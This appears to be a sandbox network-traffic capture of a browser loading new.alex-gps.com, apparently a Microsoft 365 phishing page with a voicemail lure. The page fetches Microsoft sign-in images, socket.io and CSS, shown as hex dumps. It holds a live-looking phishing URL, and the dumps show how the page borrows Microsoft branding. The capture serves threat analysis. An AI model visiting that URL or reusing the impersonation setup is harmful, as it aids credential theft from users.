2024-10-23 22:26:47 UTC	8000	IN	Data Raw: 72 6f 6c 6c 65 72 5c 78 32 30 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 38 29 3a 61 66 74 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 74 6f 70 3a 5c 78 32 30 35 36 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 6c 65 66 74 3a 5c 78 32 30 31 32 70 78 3b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 7d 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 40 6b 65 79 66 72 61 6d 65 73 5c 78 32 30 6c 64 73 2d 72 6f 6c 6c 65 72 5c 78 32 30 7b 5c 78 30 61 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c 78 32 30 5c Data Ascii: roller\x20div:nth-child(8):after\x20{\x0a\x20\x20\x20\x20\x20\x20\x20\x20top:\x2056px;\x0a\x20\x20\x20\x20\x20\x20\x20\x20left:\x2012px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20@keyframes\x20lds-roller\x20{\x0a\x20\x20\x20\x20\x20\x20\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.16	49717	13.226.184.17	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	371	OUT	GET /4.7.5/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:47 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 49993 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Mon, 08 Jul 2024 16:14:48 GMT ETag: "777eb8fd4f8320b6e5cc9a7159bdec6a" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: cle1::98dns-1720455288093-71224f5c39fa X-Cache: Hit from cloudfront Via: 1.1 277616ad6b4dd3b962c926008633f79e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW55-C1 X-Amz-Cf-Id: JLQzqUbsKJUWX1As-Bcmu-sk9kRLW2aqEL9zGYWl_gnTUi_GwkKvfg== Age: 9381731
2024-10-23 22:26:47 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 37 2e 35 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 34 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 74 29 3a 28 65 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.7.5 * (c) 2014-2024 Guillermo Rauch * Released under the MIT License. */!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof g
2024-10-23 22:26:47 UTC	16384	IN	Data Raw: 66 20 64 6f 63 75 6d 65 6e 74 29 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 74 74 61 63 68 45 76 65 6e 74 29 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 75 6e 6c 6f 61 64 22 2c 61 65 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 7b 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6f 6e 70 61 67 65 68 69 64 65 22 69 6e 20 49 3f 22 70 61 67 65 68 69 64 65 22 3a 22 75 6e 6c 6f 61 64 22 2c 61 65 2c 21 31 29 7d 66 75 6e 63 74 69 6f 6e 20 61 65 28 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 73 65 2e 72 65 71 75 65 73 74 73 29 73 65 2e 72 65 71 75 65 73 74 73 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 65 29 26 26 73 65 2e 72 65 71 75 Data Ascii: f document)if("function"==typeof attachEvent)attachEvent("onunload",ae);else if("function"==typeof addEventListener){addEventListener("onpagehide"in I?"pagehide":"unload",ae,!1)}function ae(){for(var e in se.requests)se.requests.hasOwnProperty(e)&&se.requ
2024-10-23 22:26:48 UTC	15202	IN	Data Raw: 74 61 20 77 68 65 6e 20 72 65 63 6f 6e 73 74 72 75 63 74 69 6e 67 20 61 20 70 61 63 6b 65 74 22 29 3b 76 61 72 20 6e 3d 28 74 3d 74 68 69 73 2e 64 65 63 6f 64 65 53 74 72 69 6e 67 28 65 29 29 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 45 56 45 4e 54 3b 6e 7c 7c 74 2e 74 79 70 65 3d 3d 3d 42 65 2e 42 49 4e 41 52 59 5f 41 43 4b 3f 28 74 2e 74 79 70 65 3d 6e 3f 42 65 2e 45 56 45 4e 54 3a 42 65 2e 41 43 4b 2c 74 68 69 73 2e 72 65 63 6f 6e 73 74 72 75 63 74 6f 72 3d 6e 65 77 20 50 65 28 74 29 2c 30 3d 3d 3d 74 2e 61 74 74 61 63 68 6d 65 6e 74 73 26 26 70 28 73 28 69 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 65 6d 69 74 52 65 73 65 72 76 65 64 22 2c 74 68 69 73 29 2e 63 61 6c 6c 28 74 68 69 73 2c 22 64 65 63 6f 64 65 64 22 2c 74 29 29 3a 70 28 73 28 69 Data Ascii: ta when reconstructing a packet");var n=(t=this.decodeString(e)).type===Be.BINARY_EVENT;n\|\|t.type===Be.BINARY_ACK?(t.type=n?Be.EVENT:Be.ACK,this.reconstructor=new Pe(t),0===t.attachments&&p(s(i.prototype),"emitReserved",this).call(this,"decoded",t)):p(s(i
2024-10-23 22:26:48 UTC	2023	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 74 68 69 73 2e 63 6c 65 61 6e 75 70 28 29 2c 74 68 69 73 2e 62 61 63 6b 6f 66 66 2e 72 65 73 65 74 28 29 2c 74 68 69 73 2e 5f 72 65 61 64 79 53 74 61 74 65 3d 22 63 6c 6f 73 65 64 22 2c 74 68 69 73 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 63 6c 6f 73 65 22 2c 65 2c 74 29 2c 74 68 69 73 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6f 6e 26 26 21 74 68 69 73 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 26 26 74 68 69 73 2e 72 65 63 6f 6e 6e 65 63 74 28 29 7d 7d 2c 7b 6b 65 79 3a 22 72 65 63 6f 6e 6e 65 63 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 74 68 69 73 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 7c 7c 74 68 69 73 2e 73 6b 69 70 52 65 63 6f 6e 6e 65 63 74 29 72 Data Ascii: function(e,t){this.cleanup(),this.backoff.reset(),this._readyState="closed",this.emitReserved("close",e,t),this._reconnection&&!this.skipReconnect&&this.reconnect()}},{key:"reconnect",value:function(){var e=this;if(this._reconnecting\|\|this.skipReconnect)r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.16	49718	192.229.173.207	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	532	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:47 UTC	581	IN	HTTP/1.1 200 OK Age: 135296 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; Content-Type: text/css Date: Wed, 23 Oct 2024 22:26:47 GMT Etag: "0a29a965824db1:0+gzip+ident" Last-Modified: Tue, 22 Oct 2024 08:01:24 GMT Server: ECS (dad/5F98) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com https://pathfinder.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-10-23 22:26:48 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
2024-10-23 22:26:48 UTC	7044	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: !important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49724	201.102.105.236	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	660	OUT	GET /favicon.ico HTTP/1.1 Host: new.alex-gps.com Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/m/?c3Y9bzM2NV8xX3ZvaWNlJnJhbmQ9ZEhCRFlWZz0mdWlkPVVTRVIwODEwMjAyNFUzNDEwMDg0MA==N0123N Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	180	IN	HTTP/1.1 404 Not Found Date: Wed, 23 Oct 2024 22:26:47 GMT Server: Apache/2.4.59 (Debian) Content-Length: 279 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-23 22:26:48 UTC	279	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 39 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 6e 65 77 2e 61 6c 65 78 2d 67 70 73 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.59 (Debian) Server at new.alex-gps.com Port 443</

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49723	152.195.19.97	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	647	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 18367430 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Wed, 23 Oct 2024 22:26:47 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (dac/9C69) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: a9b873df-801e-00eb-088d-7e6a46000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-10-23 22:26:48 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49719	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	641	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	800	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:47 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: f7e7a450-101e-0074-1f94-25c80b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222647Z-16849878b786vsxz21496wc2qn00000006ug00000000u9zt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-23 22:26:48 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49721	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	644	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	799	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:47 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 08eba4be-301e-0057-6db6-211ada000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222647Z-16849878b7862vlcc7m66axrs000000006xg000000003vg9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 22:26:48 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49722	13.107.246.57	443	1844	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-23 22:26:47 UTC	639	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://new.alex-gps.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2024-10-23 22:26:48 UTC	799	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 22:26:47 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: 67980c6e-b01e-0076-0992-253ea1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241023T222647Z-r197bdfb6b4kkrkjudg185sarw00000000xg00000000avay x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-23 22:26:48 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
